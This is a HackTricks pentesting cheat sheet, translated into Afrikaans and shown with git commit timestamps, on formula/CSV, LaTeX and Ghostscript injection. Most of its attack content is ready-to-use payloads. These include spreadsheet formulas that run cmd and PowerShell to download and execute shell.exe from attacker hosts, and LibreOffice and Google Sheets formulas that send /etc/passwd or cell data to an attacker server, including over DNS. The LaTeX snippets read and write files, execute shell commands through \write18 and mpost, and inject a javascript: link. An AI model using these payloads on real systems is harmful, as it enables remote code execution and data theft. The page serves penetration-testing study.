hacktricks/pentesting-web/formula-csv-doc-latex-ghostscript-injection.md

217 lines
12 KiB
Markdown
Raw Normal View History

# Formule/CSV/Doc/LaTeX/GhostScript Insigting
2022-05-01 13:25:53 +00:00
2022-04-28 16:01:33 +00:00
<details>
2024-02-11 02:07:06 +00:00
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
Ander maniere om HackTricks te ondersteun:
2023-12-31 01:25:17 +00:00
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
2022-04-28 16:01:33 +00:00
</details>
**Probeer Hard Security Groep**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Formule Insigting
2023-09-02 23:48:41 +00:00
### Inligting
2022-07-10 22:26:52 +00:00
As jou **inset** binne **CSV-lêers** (of enige ander lêer wat waarskynlik deur **Excel** geopen gaan word) **weerspieël** word, kan jy moontlik Excel **formules** plaas wat uitgevoer sal word wanneer die gebruiker die lêer **open** of wanneer die gebruiker op 'n skakel **klik** binne die Excel-blad.
{% hint style="danger" %}
Tans sal **Excel waarsku** (veral kere) die **gebruiker wanneer iets van buite Excel gelaai word** om hom te verhoed om kwaadwillige aksies te onderneem. Daarom moet daar spesiale aandag aan sosiale ingenieurswese gegee word vir die finale lading.
{% endhint %}
### [Woordelys](https://github.com/payloadbox/csv-injection-payloads)
2022-09-29 15:13:42 +00:00
```
DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+9)*cmd|' /C calc'!A0
=10+20+cmd|' /C calc'!A0
=cmd|' /C notepad'!'A1'
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1
```
2024-02-11 02:07:06 +00:00
### Skakel
2022-09-29 15:13:42 +00:00
**Die volgende voorbeeld is baie nuttig om inhoud uit die finale Excel-blad te eksfiltreer en versoek aan willekeurige plekke uit te voer. Dit vereis egter dat die gebruiker op die skakel klik (en die waarskuwings aanvaar).**
Die volgende voorbeeld is geneem van [https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit)
Stel jou voor 'n sekuriteitsversteuring in 'n Studenterekordbestuurstelsel word benut deur 'n CSV-inspuitingsaanval. Die aanvaller se primêre bedoeling is om die stelsel wat deur onderwysers gebruik word om studentbesonderhede te bestuur, te kompromiteer. Die metode behels dat die aanvaller 'n skadelike lading in die aansoek inspuit, spesifiek deur skadelike formules in te voer in velde bedoel vir studentbesonderhede. Die aanval ontvou as volg:
1. **Inspuiting van Skadelike Lading:**
* Die aanvaller dien 'n studentbesonderheidsvorm in, maar sluit 'n formule in wat algemeen in spredingslyste gebruik word (bv., `=HYPERLINK("<skadelike_skakel>","Kliek hier")`).
* Hierdie formule is ontwerp om 'n skakel te skep, maar dit wys na 'n skadelike bediener wat deur die aanvaller beheer word.
2. **Uitvoer van Gekompromiteerde Data:**
* Onderwysers, onbewus van die kompromis, gebruik die funksionaliteit van die aansoek om die data na 'n CSV-lêer uit te voer.
* Wanneer die CSV-lêer oopgemaak word, bevat dit steeds die skadelike lading. Hierdie lading verskyn as 'n kliekbare skakel in die spredingslys.
3. **Aanval Aktiveer:**
* 'n Onderwyser klik op die skakel en glo dit is 'n legitieme deel van die student se besonderhede.
* Na kliek, word sensitiewe data (moontlik insluitend besonderhede uit die spredingslys of die onderwyser se rekenaar) na die aanvaller se bediener gestuur.
4. **Data Log:**
* Die aanvaller se bediener ontvang en log die sensitiewe data wat van die onderwyser se rekenaar gestuur is.
* Die aanvaller kan dan hierdie data gebruik vir verskeie skadelike doeleindes, wat die privaatheid en veiligheid van die studente en die instelling verder kompromiteer.
2022-07-10 22:26:52 +00:00
### RCE
**Kyk na die** [**oorspronklike pos**](https://notsosecure.com/data-exfiltration-formula-injection-part1) **vir verdere besonderhede.**
In spesifieke opsette of ouer weergawes van Excel kan 'n funksie genaamd Dinamiese Data-uitruil (DDE) benut word om willekeurige bevele uit te voer. Om hiervan gebruik te maak, moet die volgende instellings geaktiveer word:
* Navigeer na Lêer → Opsies → Vertroue Sentrum → Vertroue Sentrum-instellings → Eksterne Inhoud, en aktiveer **Dinamiese Data-uitruilbedieneraanvang**.
2021-06-29 12:49:13 +00:00
Wanneer 'n spredingslys met die skadelike lading oopgemaak word (en as die gebruiker die waarskuwings aanvaar), word die lading uitgevoer. Byvoorbeeld, om die sakrekenaarprogram te begin, sou die lading wees:
2024-02-06 03:10:38 +00:00
```markdown
`=cmd|' /C calc'!xxx`
2021-06-29 12:49:13 +00:00
```
Eksekuteer ook addisionele bevele, soos die aflaai en uitvoer van 'n lêer met behulp van PowerShell:
2024-02-06 03:10:38 +00:00
```bash
=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1
2021-06-29 12:49:13 +00:00
```
2024-02-11 02:07:06 +00:00
### Plaaslike Lêer Insluiting (LFI) in LibreOffice Calc
2021-06-29 12:49:13 +00:00
2024-02-11 02:07:06 +00:00
LibreOffice Calc kan gebruik word om plaaslike lêers te lees en data uit te voer. Hier is 'n paar metodes:
2021-06-29 12:49:13 +00:00
* Die eerste lyn van die plaaslike `/etc/passwd` lêer lees: `='file:///etc/passwd'#$passwd.A1`
* Die geleesde data na 'n aanvaller-beheerde bediener uitvoer: `=WEBSERVICE(CONCATENATE("http://<aanvaller IP>:8080/",('file:///etc/passwd'#$passwd.A1)))`
* Meer as een lyn uitvoer: `=WEBSERVICE(CONCATENATE("http://<aanvaller IP>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))`
* DNS data uitvoer (stuur geleesde data as DNS navrae na 'n aanvaller-beheerde DNS bediener): `=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<aanvaller domein>"))`
2021-06-29 12:49:13 +00:00
2024-02-11 02:07:06 +00:00
### Google Sheets vir Out-of-Band (OOB) Data Uitvoer
2021-06-29 12:49:13 +00:00
2024-02-11 02:07:06 +00:00
Google Sheets bied funksies wat uitgebuit kan word vir OOB data uitvoer:
2021-06-29 12:49:13 +00:00
* **CONCATENATE**: Voeg strings saam - `=CONCATENATE(A2:E2)`
* **IMPORTXML**: Importeer data van gestruktureerde datatipes - `=IMPORTXML(CONCAT("http://<aanvaller IP:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")`
* **IMPORTFEED**: Importeer RSS of ATOM voer - `=IMPORTFEED(CONCAT("http://<aanvaller IP:Port>//123.txt?v=", CONCATENATE(A2:E2)))`
* **IMPORTHTML**: Importeer data van HTML tabelle of lys - `=IMPORTHTML (CONCAT("http://<aanvaller IP:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)`
* **IMPORTRANGE**: Importeer 'n reeks selle van 'n ander sigblad - `=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")`
* **IMAGE**: Voeg 'n prent in 'n sel in - `=IMAGE("https://<aanvaller IP:Port>/images/srpr/logo3w.png")`
2021-06-29 12:49:13 +00:00
## LaTeX Inspruiting
2021-06-29 12:49:13 +00:00
Gewoonlik gebruik die bedieners wat jy op die internet vind wat **LaTeX-kode na PDF omskakel** die **`pdflatex`**.\
Hierdie program gebruik 3 hoof eienskappe om opdraguitvoering toe te laat of te verhoed:
2022-07-10 22:26:52 +00:00
* **`--no-shell-escape`**: **Deaktiveer** die `\write18{opdrag}` konstruk, selfs al is dit geaktiveer in die texmf.cnf lêer.
* **`--shell-restricted`**: Dieselfde as `--shell-escape`, maar **beperk** tot 'n 'veilige' stel **voorgedefinieerde** \*\*opdragte (\*\*Op Ubuntu 16.04 is die lys in `/usr/share/texmf/web2c/texmf.cnf`).
* **`--shell-escape`**: **Aktiveer** die `\write18{opdrag}` konstruk. Die opdrag kan enige skel opdrag wees. Hierdie konstruk word normaalweg verhoed vir veiligheidsredes.
2022-07-10 22:26:52 +00:00
Daar is egter ander maniere om opdragte uit te voer, dus om RCE te vermy is dit baie belangrik om `--shell-restricted` te gebruik.
2022-07-10 22:26:52 +00:00
2024-02-11 02:07:06 +00:00
### Lees lêer <a href="#read-file" id="read-file"></a>
Jy mag nodig wees om inspuiting aan te pas met omhulsels soos \[ of $.
2022-07-10 22:26:52 +00:00
```bash
\input{/etc/passwd}
\include{password} # load .tex file
2022-07-12 21:55:32 +00:00
\lstinputlisting{/usr/share/texmf/web2c/texmf.cnf}
\usepackage{verbatim}
\verbatiminput{/etc/passwd}
2022-07-10 22:26:52 +00:00
```
#### Lees enkellinige lêer
2022-07-10 22:26:52 +00:00
```bash
\newread\file
2022-07-10 22:26:52 +00:00
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\file
```
2024-02-11 02:07:06 +00:00
#### Lees 'n lêer met meerdere lyne
2022-07-10 22:26:52 +00:00
```bash
\newread\file
2022-07-10 22:26:52 +00:00
\openin\file=/etc/passwd
\loop\unless\ifeof\file
2024-02-11 02:07:06 +00:00
\read\file to\fileline
\text{\fileline}
2022-07-10 22:26:52 +00:00
\repeat
\closein\file
```
### Skryf lêer <a href="#skryf-lêer" id="skryf-lêer"></a>
2022-07-10 22:26:52 +00:00
```bash
\newwrite\outfile
2022-07-10 22:26:52 +00:00
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\closeout\outfile
```
### Opdraguitvoering <a href="#command-execution" id="command-execution"></a>
2022-07-10 22:26:52 +00:00
Die invoer van die opdrag sal na stdin omgelei word, gebruik 'n tydelike lêer om dit te kry.
2022-07-10 22:26:52 +00:00
```bash
\immediate\write18{env > output}
\input{output}
\input{|"/bin/hostname"}
\input{|"extractbb /etc/passwd > /tmp/b.tex"}
# allowed mpost command RCE
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"}
\end{document}
2022-07-12 22:56:28 +00:00
# If mpost is not allowed there are other commands you might be able to execute
## Just get the version
\input{|"bibtex8 --version > /tmp/b.tex"}
## Search the file pdfetex.ini
\input{|"kpsewhich pdfetex.ini > /tmp/b.tex"}
## Get env var value
\input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"}
## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}
2022-07-10 22:26:52 +00:00
```
Indien jy enige LaTex-fout kry, oorweeg om base64 te gebruik om die resultaat sonder slegte karakters te kry
2022-07-10 22:26:52 +00:00
```bash
\immediate\write18{env | base64 > test.tex}
\input{text.tex}
```
```bash
\input|ls|base4
\input{|"/bin/hostname"}
```
### Kruissite-skriping <a href="#kruissite-skriping" id="kruissite-skriping"></a>
2022-07-10 22:26:52 +00:00
```bash
\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}
```
## Ghostscript Injeksie
2022-07-10 22:26:52 +00:00
**Kyk** [**https://blog.redteam-pentesting.de/2023/ghostscript-overview/**](https://blog.redteam-pentesting.de/2023/ghostscript-overview/)
2024-02-11 02:07:06 +00:00
## Verwysings
2021-06-29 12:49:13 +00:00
2022-07-10 22:26:52 +00:00
* [https://notsosecure.com/data-exfiltration-formula-injection-part1](https://notsosecure.com/data-exfiltration-formula-injection-part1)
* [https://0day.work/hacking-with-latex/](https://0day.work/hacking-with-latex/)
* [https://salmonsec.com/cheatsheet/latex\_injection](https://salmonsec.com/cheatsheet/latex\_injection)
* [https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/](https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/)
2022-04-28 16:01:33 +00:00
**Probeer Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:07:06 +00:00
Ander maniere om HackTricks te ondersteun:
2023-12-31 01:25:17 +00:00
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
2022-04-28 16:01:33 +00:00
</details>